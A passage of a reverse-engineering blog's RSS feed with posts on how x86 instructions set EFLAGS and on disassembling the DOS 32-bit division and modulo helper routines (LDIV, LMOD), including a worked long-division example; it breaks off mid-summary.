 Immediate(4, 0x0x12345678),
 Symbol(3 size=4, value=arg7),
 Symbol(4 size=4, value=arg6),
 Symbol(5 size=4, value=arg5),
 Pointer[Immediate(4, 0x0)]</span>,
 <span class="hljs-selector-tag">Symbol</span>(<span class="hljs-number">7</span> size=<span class="hljs-number">4</span>, value=arg3),
 <span class="hljs-selector-tag">Symbol</span>(<span class="hljs-number">8</span> size=<span class="hljs-number">4</span>, value=arg2),
 <span class="hljs-selector-tag">Symbol</span>(<span class="hljs-number">9</span> size=<span class="hljs-number">4</span>, value=arg1),
 <span class="hljs-selector-tag">Immediate</span>(<span class="hljs-number">4</span>, <span class="hljs-number">0</span>x0x00)]
</code></pre><p>Finding the value of arg8 that makes the JE pass is an exercise for the reader :)</p>
<p>Happy hacking!</p>
]]></content:encoded></item><item><title><![CDATA[Calculating EFLAGS for various x86 opcodes]]></title><description><![CDATA[I've found it hard to find a source for these in one place so I've put some code together to calculate these for me. You can find the code I used to generate these results here: https://github.com/samrussell/TestFlags
Intro
This is all based off http...]]></description><link>https://www.lodsb.com/calculating-eflags-for-various-x86-opcodes</link><guid isPermaLink="true">https://www.lodsb.com/calculating-eflags-for-various-x86-opcodes</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Wed, 01 Sep 2021 13:14:38 GMT</pubDate><content:encoded><![CDATA[<p>I've found it hard to find a source for these in one place so I've put some code together to calculate these for me. You can find the code I used to generate these results here: https://github.com/samrussell/TestFlags</p>
<h2 id="intro">Intro</h2>
<p>This is all based off https://en.wikipedia.org/wiki/FLAGS_register for the flag definitions and https://www.felixcloutier.com/x86 for nicely parsing the x86 docs. These are both good resources for getting familiar with what's going on under the covers here.</p>
<p>It's important to note that not all instructions modify all flags. For example, the <code>INC</code> instruction does <em>not</em> change <code>CF</code> if it overflows the register, and there are apps that take advantage of this fact (e.g. the LZ91 packer LZEXE)</p>
<h1 id="base-flag-values">Base flag values:</h1>
<p>Your EFLAGS register is likely to be at 0x202 by default for a number of reasons:</p>
<ul>
<li>The flag 0x0002 is always set (reserved)</li>
<li>The flag 0x0008 is always unset (reserved)</li>
<li>The flag 0x0020 is always unset (reserved)</li>
<li>The flag 0x0100 flag should be unset unless you are single stepping something (trap flag)</li>
<li>The flag 0x0200 should be set (interrupts enabled)</li>
<li>The flag 0x0400 is probably unset (direction flag for LODSB style commands)</li>
</ul>
<p>We can ignore the higher flags</p>
<h2 id="add">ADD</h2>
<p>According to the intel docs:</p>
<blockquote>
<p>The OF, SF, ZF, AF, CF, and PF flags are set according to the result.</p>
</blockquote>
<p>Here's the ADD instruction in action:</p>
<pre><code><span class="hljs-attribute">ADD</span> <span class="hljs-number">0</span>, <span class="hljs-number">0</span>: <span class="hljs-number">246</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">1</span>, <span class="hljs-number">0</span>: <span class="hljs-number">202</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">1</span>, <span class="hljs-number">1</span>: <span class="hljs-number">202</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">1</span>, ffffffff: <span class="hljs-number">257</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">1</span>, f: <span class="hljs-number">212</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">10</span>, fffffff<span class="hljs-number">0</span>: <span class="hljs-number">247</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">1</span>, fffffff<span class="hljs-number">0</span>: <span class="hljs-number">282</span>
<span class="hljs-attribute">ADD</span> f, fffffff<span class="hljs-number">0</span>: <span class="hljs-number">286</span>
<span class="hljs-attribute">ADD</span> fffffff<span class="hljs-number">0</span>, fffffff<span class="hljs-number">0</span>: <span class="hljs-number">283</span>
<span class="hljs-attribute">ADD</span> ffffffff, <span class="hljs-number">80000000</span>: a<span class="hljs-number">07</span>
<span class="hljs-attribute">ADD</span> fffffffe, <span class="hljs-number">80000000</span>: a<span class="hljs-number">03</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">1</span>, <span class="hljs-number">7</span>fffffff: a<span class="hljs-number">96</span>
<span class="hljs-attribute">ADD</span> <span class="hljs-number">2</span>, <span class="hljs-number">7</span>fffffff: a<span class="hljs-number">92</span>
</code></pre><p>So here's what's going on:</p>
<ul>
<li>0x0001: <code>CF</code> gets set when we loop around from 0xFFFFFFFF to 0 again</li>
<li>0x0004: <code>PF</code> gets set when an even number of bits are set</li>
<li>0x0010: <code>AF</code> gets set when we loop the bottom 4 bits around (e.g. from 0x0F to 0x10)</li>
<li>0x0040: <code>ZF</code> gets set when the result is zero</li>
<li>0x0080: <code>SF</code> gets set when the high bit is set (i.e. we have a negative number)</li>
<li>0x0800: <code>OF</code> gets set when two positive numbers go negative or vice versa </li>
</ul>
<h2 id="sub-and-cmp">SUB and CMP</h2>
<p>The <code>CMP</code> command is defined as executing a <code>SUB</code> command and setting the flags (but not saving the result), so we should expect them to be the same:</p>
<p>Here's some results:</p>
<pre><code><span class="hljs-attribute">SUB</span> <span class="hljs-number">0</span>, <span class="hljs-number">0</span>: <span class="hljs-number">246</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">1</span>, <span class="hljs-number">0</span>: <span class="hljs-number">202</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">1</span>, <span class="hljs-number">1</span>: <span class="hljs-number">246</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">0</span>, <span class="hljs-number">1</span>: <span class="hljs-number">297</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">10</span>, <span class="hljs-number">1</span>: <span class="hljs-number">216</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">0</span>, <span class="hljs-number">10</span>: <span class="hljs-number">287</span>
<span class="hljs-attribute">SUB</span> ffffffff, f: <span class="hljs-number">286</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">80000000</span>, <span class="hljs-number">1</span>: a<span class="hljs-number">16</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">80000002</span>, <span class="hljs-number">1</span>: <span class="hljs-number">282</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">7</span>fffffff, fffffff<span class="hljs-number">0</span>: a<span class="hljs-number">87</span>
<span class="hljs-attribute">SUB</span> <span class="hljs-number">7</span>fffff<span class="hljs-number">00</span>, fffffff<span class="hljs-number">0</span>: <span class="hljs-number">203</span>
</code></pre><p>And with <code>CMP</code></p>
<pre><code><span class="hljs-attribute">CMP</span> <span class="hljs-number">0</span>, <span class="hljs-number">0</span>: <span class="hljs-number">246</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">1</span>, <span class="hljs-number">0</span>: <span class="hljs-number">202</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">1</span>, <span class="hljs-number">1</span>: <span class="hljs-number">246</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">0</span>, <span class="hljs-number">1</span>: <span class="hljs-number">297</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">10</span>, <span class="hljs-number">1</span>: <span class="hljs-number">216</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">0</span>, <span class="hljs-number">10</span>: <span class="hljs-number">287</span>
<span class="hljs-attribute">CMP</span> ffffffff, f: <span class="hljs-number">286</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">80000000</span>, <span class="hljs-number">1</span>: a<span class="hljs-number">16</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">80000002</span>, <span class="hljs-number">1</span>: <span class="hljs-number">282</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">7</span>fffffff, fffffff<span class="hljs-number">0</span>: a<span class="hljs-number">87</span>
<span class="hljs-attribute">CMP</span> <span class="hljs-number">7</span>fffff<span class="hljs-number">00</span>, fffffff<span class="hljs-number">0</span>: <span class="hljs-number">203</span>
</code></pre><p>Identical. As with the <code>ADD</code> command, we can flip 6 different flags through various different means (including setting the elusive <code>AF</code> by making a carry/borrow between bits 3 and 4)</p>
<h2 id="and-and-test">AND and TEST</h2>
<p>The <code>TEST</code> command is defined as executing an <code>AND</code> command and setting the flags (but not saving the result), so we should expect them to be the same. It's worth noting that all of these bitwise commands (<code>AND</code>, <code>OR</code> etc) do the following:</p>
<ul>
<li><code>OF</code> and <code>CF</code> are cleared</li>
<li><code>SF</code>, <code>ZF</code>, and <code>PF</code> flags are set "according to the result"</li>
<li><code>AF</code> flag is undefined...</li>
</ul>
<p>It makes sense that <code>OF</code> and <code>CF</code> are cleared as these only make sense when we're doing arithmetic. It is weird that <code>AF</code> is undefined, but also weird that it exists at all...</p>
<pre><code><span class="hljs-string">TEST</span> <span class="hljs-number">0</span><span class="hljs-string">,</span> <span class="hljs-attr">0:</span> <span class="hljs-number">246</span>
<span class="hljs-string">TEST</span> <span class="hljs-number">1</span><span class="hljs-string">,</span> <span class="hljs-attr">0:</span> <span class="hljs-number">246</span>
<span class="hljs-string">TEST</span> <span class="hljs-number">1</span><span class="hljs-string">,</span> <span class="hljs-attr">1:</span> <span class="hljs-number">202</span>
<span class="hljs-string">TEST</span> <span class="hljs-number">0</span><span class="hljs-string">,</span> <span class="hljs-attr">1:</span> <span class="hljs-number">246</span>
<span class="hljs-string">TEST</span> <span class="hljs-string">ffffffff,</span> <span class="hljs-attr">ffffffff:</span> <span class="hljs-number">286</span>
<span class="hljs-string">TEST</span> <span class="hljs-string">ffffffff,</span> <span class="hljs-attr">0:</span> <span class="hljs-number">246</span>
</code></pre><p>This is pretty boring. We start with a base of 0x202, we can set 0x40 (<code>ZF</code>) if it's zero, 0x04 (<code>PF</code>) if we have an even number of bits, and 0x80 (<code>SF</code>) if the high bit is set. Zero always gives us 0x246 (<code>ZF</code> and <code>PF</code> are set but not <code>SF</code>), and it's clear that we can't have <code>SF</code> and <code>ZF</code> set at the same time, or that <code>PF</code> has to be set when <code>ZF</code> is set.</p>
<p>Happy hacking everyone!</p>
]]></content:encoded></item><item><title><![CDATA[Reversing DOS functions: LDIV and LMOD]]></title><description><![CDATA[Here we find 4 functions: LDIV, LUDIV, LMOD, and LUMOD, and the standard variations: N_LDIV@, F_LDIV@, N_LUDIV@, F_LUDIV@, N_LMOD@, F_LMOD@, N_LUMOD@, F_LUMOD@
Like with PADD and PSUB we find multiple entrypoints to the same function:



We see the s...]]></description><link>https://www.lodsb.com/reversing-dos-functions-ldiv-and-lmod</link><guid isPermaLink="true">https://www.lodsb.com/reversing-dos-functions-ldiv-and-lmod</guid><dc:creator><![CDATA[Sam Russell]]></dc:creator><pubDate>Tue, 24 Aug 2021 14:55:24 GMT</pubDate><content:encoded><![CDATA[<p>Here we find 4 functions: <code>LDIV</code>, <code>LUDIV</code>, <code>LMOD</code>, and <code>LUMOD</code>, and the standard variations: <code>N_LDIV@</code>, <code>F_LDIV@</code>, <code>N_LUDIV@</code>, <code>F_LUDIV@</code>, <code>N_LMOD@</code>, <code>F_LMOD@</code>, <code>N_LUMOD@</code>, <code>F_LUMOD@</code></p>
<p>Like with <code>PADD</code> and <code>PSUB</code> we find multiple entrypoints to the same function:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784048843/tIuRL1Tcw.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784097551/hZZNAQvIo.png" alt="image.png" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784112942/7YHdCUvza3.png" alt="image.png" /></p>
<p>We see the same near/far pattern as with the others so I won't go into it here, but you can see it's a common pattern.</p>
<p>The first thing we notice is that they all set CX to something before carrying on:</p>
<ul>
<li>LDIV sets to 0</li>
<li>LUDIV sets to 1</li>
<li>LMOD sets to 2</li>
<li>LUMOD sets to 3</li>
</ul>
<p>In other words:</p>
<ul>
<li>bit 0 = 0: unsigned</li>
<li>bit 0 = 1: signed</li>
<li>bit 1 = 0: division</li>
<li>bit 2 = 1: mod</li>
</ul>
<p>Here's the start of the shared code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784346599/0gMekR9V0.png" alt="image.png" /></p>
<p>This is some standard prolog: save SP in BP, save SI/DI, keep CX (operation flags) in DI, then load our arguments. How does this get called then?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784442283/4qGteP8bo.png" alt="image.png" /></p>
<p>We can see it get called with two args next to each other, and DX:AX, so we could guess that we're dealing with 32-bit division here. We load these into DX:AX and CX:BX, then we do a zero-check on CX...</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784620448/5vYvO81tV.png" alt="image.png" /></p>
<p>There's a shortcut branch which happens when:</p>
<ul>
<li>CX==0 and DX==0</li>
<li>CX==0 and BX==0</li>
</ul>
<p>Let's take a peek to where it goes:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629784663466/T6BSEzVWk.png" alt="image.png" /></p>
<p>If either of these cases is true we execute <code>DIV BX</code>, which is the same as</p>
<pre><code><span class="hljs-attr">DX</span> = AX % BX // remainder
<span class="hljs-attr">AX</span> = AX / BX // division
</code></pre><p>Then if bit one on DI is set then we return DX (mod), otherwise we return AX.</p>
<p>So a couple of things here:</p>
<ul>
<li>DX:AX is our dividend (the big number)</li>
<li>CX:BX is the divisor (the number we divide into)</li>
<li>If CX==0 and DX==0 then we're doing 0:AX / 0:BX and we can do that with a 16-bit DIV</li>
<li>IF CX==0 and BX==0 then we're doing DX:AX/0 and we just want to get the "divide by zero" error</li>
</ul>
<p>So by skipping the main body and following a nice shortcut branch we actually learned a lot about what's going on, here are the comments for the chunk up top again:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629785091016/0qL0mz63I.png" alt="image.png" /></p>
<p>Let's carry on down the main path:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629785126449/A1c3OcroQ.png" alt="image.png" /></p>
<p>So from the top:</p>
<pre><code><span class="hljs-attribute">test</span>    di, <span class="hljs-number">1</span>
<span class="hljs-attribute">jnz</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">101</span>
</code></pre><p>Bit 0 is if we're doing signed division - if not then skip this entire chunk. We're going to do something to handle negative numbers then?</p>
<pre><code><span class="hljs-attribute">or</span>      dx, dx
<span class="hljs-attribute">jns</span>     short loc_<span class="hljs-number">1</span>E<span class="hljs-number">0</span>F<span class="hljs-number">3</span>
</code></pre><p>Check the sign bit on DX and skip if not set (if DX is positive). If DX is negative though:</p>
<pre><code><span class="hljs-attribute">neg</span>     dx
<span class="hljs-attribute">neg</span>     ax
<span class="hljs-attribute">sbb</span>     dx, <span class="hljs-number">0</span>
<span class="hljs-attribute">or</span>      di, <span class="hljs-number">0</span>Ch
</code></pre><p>This is a bit convoluted. The <code>NEG</code> instruction does a <code>NOT</code> then adds 1 to give us the two's complement. We do this to both DX and AX, then we do a <code>SBB</code>... why is this?</p>
<p>The problem is that the <code>NEG</code> on AX is fine (<code>NOT</code> and then +1), but on DX we end up with an extra +1 that doesn't make sense (compare if we did this in EAX, it would only do the +1 once).</p>
<p>In other words, if we have 10101010:10101010 it'll do this:</p>
<pre><code><span class="hljs-comment">// original 10101010:10101010</span>
<span class="hljs-selector-tag">not</span>
<span class="hljs-comment">// 01010101:01010101</span>
<span class="hljs-selector-tag">inc</span>
<span class="hljs-comment">// 01010110:01010110</span>
</code></pre><p>If we did this with the numbers together we'd get this:</p>
<pre><code><span class="hljs-comment">// original 1010101010101010</span>
<span class="hljs-selector-tag">not</span>
<span class="hljs-comment">// 0101010101010101</span>
<span class="hljs-selector-tag">inc</span>
<span class="hljs-comment">// 0101010101010110</span>
</code></pre><p>(yes we're using 16-bits here but the concept is the same)</p>
<p>This is where the next instruction comes in: <code>SBB DX,0</code>. The <code>NEG</code> instruction is defined to set CF <em>unless</em> the number is 0. In other words, we're basically doing <code>DEC DX</code> after to cancel it out... unless AX is 0. Here's how this plays out:</p>
<pre><code><span class="hljs-comment">// original 1010101000000000</span>
<span class="hljs-selector-tag">not</span>
<span class="hljs-comment">// 0101010111111111</span>
<span class="hljs-selector-tag">inc</span>
<span class="hljs-comment">// 0101011000000000</span>
</code></pre><p>The one edge case with AX=0 gets inverted to 0xFFFF, and incrementing it by 1 passes the 1 all the way to the top and gives us a carry/overflow. That means the <code>NEG</code> <em>doesn't</em> set CF, so our <code>SBB</code> command does nothing. Kinda crazy, but the system works :)</p>
<p>We then <code>OR</code> DI with 0x0C, or 1100 in binary - it sets bits 2 and 3.</p>
<p>The next part is the same but on CX:BX, and then we <code>XOR</code> 0x04 onto DI (bit 2). This gives us the following state for DI:</p>
<ul>
<li>bit 0: unset=div, set=mod</li>
<li>bit 1: unset=signed, set=unsigned</li>
<li>bit 2: divisor and dividend have the same sign (both positive or both negative)</li>
<li>bit 3: divisor is negative (no information on dividend)</li>
</ul>
<p>Now it's time for the fun part:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629791439658/BiHInruo9.png" alt="image.png" /></p>
<p>This part had me stumped for a bit, but going through step by step will get us there. Here's the start:</p>
<pre><code><span class="hljs-attribute">mov</span>     bp, cx
</code></pre><p>Divisor is now BP:BX (so we're doing DX:AX / BP:BX)</p>
<pre><code>mov     cx, <span class="hljs-number">20</span>h ; <span class="hljs-string">' '</span>
</code></pre><p>Setting CX to 0x20 (32), looks like we're looping over something 32 times, and we are doing 32-bit division...</p>
<pre><code><span class="hljs-keyword">push</span>    di
<span class="hljs-keyword">xor</span>     di, di
<span class="hljs-keyword">xor</span>     si, si
</code></pre><p>We're saving DI for later (so we don't care about those bits we just set right now), and clearing DI/SI to 0.</p>
<p>That was the init for the loop. Let's jump and see what we do each of the 32 times:</p>
<pre><code><span class="hljs-attribute">shl</span>     ax, <span class="hljs-number">1</span>
<span class="hljs-attribute">rcl</span>     dx, <span class="hljs-number">1</span>
<span class="hljs-attribute">rcl</span>     si, <span class="hljs-number">1</span>
<span class="hljs-attribute">rcl</span>     di, <span class="hljs-number">1</span>
</code></pre><p>This treats DI:SI:DX:AX like one big 64 bit number, and does a SHL on the whole thing. We could also see it as follows:</p>
<pre><code><span class="hljs-section">DI:SI = DI:SI &lt;&lt; 1</span>
<span class="hljs-section">DI:SI += HIGHBIT(DX:AX)</span>
<span class="hljs-section">DX:AX = DX:AX &lt;&lt; 1</span>
</code></pre><p>So each time through the loop we copy a bit from DX:AX into DI:SI and shift it all up, 32 times for the 32-bit number</p>
<pre><code><span class="hljs-attribute">cmp</span>     di, bp
<span class="hljs-attribute">jb</span>      short loc_<span class="hljs-number">1</span>E<span class="hljs-number">122</span>
<span class="hljs-attribute">ja</span>      short loc_<span class="hljs-number">1</span>E<span class="hljs-number">11</span>D
</code></pre><p>Remember the divisor is BP:BX, so we're comparing the high word of BP:BX with the high word of DI:SI. If DI &lt; BP then we continue the loop, if DI &gt; BP then we do the operation at loc_1E11D.</p>
<pre><code><span class="hljs-attribute">cmp</span>     si, bx
<span class="hljs-attribute">jb</span>      short loc_<span class="hljs-number">1</span>E<span class="hljs-number">122</span>
</code></pre><p>If we got here then the high words are equal, and we now compare the low word of BP:BX with DI:SI - if SI&lt;BX then DI:SI&lt;BP:BX and we continue with the loop</p>
<pre><code><span class="hljs-attribute">loc_1E11D</span>:
sub     si, bx
sbb     di, bp
inc     ax
</code></pre><p>We make it here if DI:SI &gt; BP:BX. What does that mean?</p>
<h2 id="long-division">Long division</h2>
<p>You probably covered this at school, but here's a primer anyway. If we want to divide numbers like 12345 / 57 we can do it like this:</p>
<pre><code><span class="hljs-string">//</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">57</span> <span class="hljs-string">on</span> <span class="hljs-string">the</span> <span class="hljs-string">front</span>
<span class="hljs-number">0012345</span>
<span class="hljs-number">5700000</span>
<span class="hljs-string">//</span> <span class="hljs-number">5700000</span> <span class="hljs-string">&gt;</span> <span class="hljs-number">12345</span> <span class="hljs-string">so</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">0</span>
<span class="hljs-number">012345</span>
<span class="hljs-number">570000</span>
<span class="hljs-number">0</span>
<span class="hljs-string">//</span> <span class="hljs-number">570000</span> <span class="hljs-string">&gt;</span> <span class="hljs-number">12345</span> <span class="hljs-string">so</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">0</span>
<span class="hljs-number">12345</span>
<span class="hljs-number">57000</span>
<span class="hljs-number">00</span>
<span class="hljs-string">//</span> <span class="hljs-number">57000</span> <span class="hljs-string">&gt;</span> <span class="hljs-number">12345</span> <span class="hljs-string">so</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">0</span>
<span class="hljs-number">12345</span>
<span class="hljs-number">5700</span>
<span class="hljs-number">000</span>
<span class="hljs-string">//</span> <span class="hljs-number">5700</span> <span class="hljs-string">&lt;</span> <span class="hljs-number">12345</span><span class="hljs-string">,</span> <span class="hljs-string">2x5700</span> <span class="hljs-string">&lt;</span> <span class="hljs-number">12345</span> <span class="hljs-string">but</span> <span class="hljs-string">3x5700</span> <span class="hljs-string">&gt;</span> <span class="hljs-number">12345</span> <span class="hljs-string">so</span> <span class="hljs-string">we</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">2</span> <span class="hljs-string">and</span> <span class="hljs-string">subtract</span> <span class="hljs-number">12345</span> <span class="hljs-bullet">-</span> <span class="hljs-string">2x5700</span>
<span class="hljs-number">945</span>
<span class="hljs-number">570</span>
<span class="hljs-number">0002</span>
<span class="hljs-string">//</span> <span class="hljs-number">570</span> <span class="hljs-string">&lt;</span> <span class="hljs-number">945</span><span class="hljs-string">.</span> <span class="hljs-string">2x57</span> <span class="hljs-string">&gt;</span> <span class="hljs-number">945</span><span class="hljs-string">,</span> <span class="hljs-string">so</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">1</span> <span class="hljs-string">and</span> <span class="hljs-string">subtract</span> <span class="hljs-number">570</span>
<span class="hljs-number">375</span>
<span class="hljs-number">57</span>
<span class="hljs-number">00021</span>
<span class="hljs-string">//</span> <span class="hljs-number">57</span> <span class="hljs-string">x6</span> <span class="hljs-string">=</span> <span class="hljs-number">342</span> <span class="hljs-string">&lt;</span> <span class="hljs-number">375</span><span class="hljs-string">,</span> <span class="hljs-string">so</span> <span class="hljs-string">put</span> <span class="hljs-string">a</span> <span class="hljs-number">6</span> <span class="hljs-string">and</span> <span class="hljs-string">subtract</span> <span class="hljs-number">342</span>
<span class="hljs-number">33</span>
<span class="hljs-string">DONE</span>
<span class="hljs-number">000216</span>
</code></pre><p>So 12345 / 57 = 216 remainder 33. To check: 216 x 57 = 12312, and 12312 + 33 = 12345.</p>
<p>This is actually easier in binary, because we don't need to count how many times the number divides in, we just put a 1 if it's smaller (and then subtract), or a 0 if it's bigger and keep going. We can do the same thing in binary:</p>
<pre><code><span class="hljs-number">11000000111001</span> <span class="hljs-string">//</span> <span class="hljs-number">12345</span> <span class="hljs-string">in</span> <span class="hljs-string">binary</span>
<span class="hljs-number">110000</span> <span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-number">6</span> <span class="hljs-string">bits</span> <span class="hljs-string">of</span> <span class="hljs-number">12345</span><span class="hljs-string">,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">00111001</span>
<span class="hljs-number">111001</span><span class="hljs-string">//</span> <span class="hljs-number">57</span> <span class="hljs-string">in</span> <span class="hljs-string">binary</span> <span class="hljs-string">with</span> <span class="hljs-string">a</span> <span class="hljs-string">lot</span> <span class="hljs-string">of</span> <span class="hljs-string">left</span> <span class="hljs-string">shifts</span>
<span class="hljs-number">0</span>
<span class="hljs-string">//</span> <span class="hljs-string">bottom</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">top</span> <span class="hljs-string">so</span> <span class="hljs-string">leave</span> <span class="hljs-string">a</span> <span class="hljs-number">0</span>
<span class="hljs-number">1100000</span> <span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-number">7</span> <span class="hljs-string">bits,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">0111001</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">01</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">bottom</span> <span class="hljs-string">so</span> <span class="hljs-string">leave</span> <span class="hljs-string">a</span> <span class="hljs-number">1</span><span class="hljs-string">,</span> <span class="hljs-number">1100000</span><span class="hljs-number">-111001</span> <span class="hljs-string">=</span> <span class="hljs-number">100111</span>
<span class="hljs-number">1001110</span> <span class="hljs-string">//</span> <span class="hljs-string">add</span> <span class="hljs-string">next</span> <span class="hljs-string">bit,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">111001</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">011</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">bottom</span> <span class="hljs-string">so</span> <span class="hljs-string">leave</span> <span class="hljs-string">a</span> <span class="hljs-number">1</span><span class="hljs-string">,</span> <span class="hljs-number">1001110</span> <span class="hljs-bullet">-</span> <span class="hljs-number">111001</span> <span class="hljs-string">=</span> <span class="hljs-number">10101</span>
<span class="hljs-number">101011</span> <span class="hljs-string">//</span> <span class="hljs-string">add</span> <span class="hljs-string">next</span> <span class="hljs-string">bit,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">11001</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">0110</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&lt;</span> <span class="hljs-string">bottom</span> <span class="hljs-string">so</span> <span class="hljs-string">leave</span> <span class="hljs-string">a</span> <span class="hljs-number">0</span>
<span class="hljs-number">1010111</span> <span class="hljs-string">//</span> <span class="hljs-string">add</span> <span class="hljs-string">next</span> <span class="hljs-string">bit,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">1001</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">01101</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">bottom</span> <span class="hljs-string">so</span> <span class="hljs-string">leave</span> <span class="hljs-string">a</span> <span class="hljs-number">1</span><span class="hljs-string">,</span> <span class="hljs-number">1010111</span> <span class="hljs-bullet">-</span> <span class="hljs-number">111001</span> <span class="hljs-string">=</span> <span class="hljs-number">11110</span>
<span class="hljs-number">111101</span> <span class="hljs-string">//</span> <span class="hljs-string">add</span> <span class="hljs-string">next</span> <span class="hljs-string">bit,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">001</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">011011</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&gt;</span> <span class="hljs-string">bottom</span> <span class="hljs-string">so</span> <span class="hljs-string">leave</span> <span class="hljs-string">a</span> <span class="hljs-number">1</span><span class="hljs-string">,</span> <span class="hljs-number">111101</span> <span class="hljs-bullet">-</span> <span class="hljs-number">111001</span> <span class="hljs-string">=</span> <span class="hljs-number">100</span>
<span class="hljs-number">1000</span> <span class="hljs-string">//</span> <span class="hljs-string">add</span> <span class="hljs-string">next</span> <span class="hljs-string">bit,</span> <span class="hljs-string">rest</span> <span class="hljs-string">are</span> <span class="hljs-number">01</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">0110110</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&lt;</span> <span class="hljs-string">bottom</span>
<span class="hljs-number">10000</span> <span class="hljs-string">//</span> <span class="hljs-string">add</span> <span class="hljs-string">next</span> <span class="hljs-string">bit,</span> <span class="hljs-string">rest</span> <span class="hljs-string">is</span> <span class="hljs-number">1</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">01101100</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&lt;</span> <span class="hljs-string">bottom</span>
<span class="hljs-number">100001</span> <span class="hljs-string">//</span> <span class="hljs-string">all</span> <span class="hljs-string">bits</span> <span class="hljs-string">gone</span>
<span class="hljs-number">111001</span>
<span class="hljs-number">011011000</span>
<span class="hljs-string">//</span> <span class="hljs-string">top</span> <span class="hljs-string">&lt;</span> <span class="hljs-string">bottom</span>
<span class="hljs-string">//</span> <span class="hljs-string">answer</span> <span class="hljs-string">is</span> <span class="hljs-number">011011000</span> <span class="hljs-string">remainder</span> <span class="hljs-number">100001</span>
</code></pre><p>011011000 = 216 in decimal
100001 = 33 in decimal</p>
<p>so we can see this works. As we saw, we do <code>SUB SI,BX</code> to subtract the bottom, then with the CF we do <code>SBB DI,BP</code>, and then we increment AX. We know we're shifting 32 bits, and that means DX:AX empties out as we shift, which means we can actually reuse DX:AX for our answer as we go along, and the remainder ends up in DI:SI. Pretty neat.</p>
<p>Once we're done with the loop we get this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629816551533/BbuoamrX6.png" alt="image.png" /></p>
<p>As with the short part, we check if this was <code>DIV</code> or <code>MOD</code>, and if it's a <code>MOD</code> then we save the remainder into DX:AX, otherwise we leave the quotient in DX:AX.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1629816594683/gCq2TFQQy.png" alt="image.png" /></p>
<p>Testing bit 3 which checks if both dividend and divisor are the same sign. If they are different signs then we negate the answer, and then we're done.</p>
<p>So in summary, this function does the following:</p>
<ul>
<li>If the high 16 bits aren't used (or the divisor is 0) then do a normal <code>DIV</code> opcode</li>
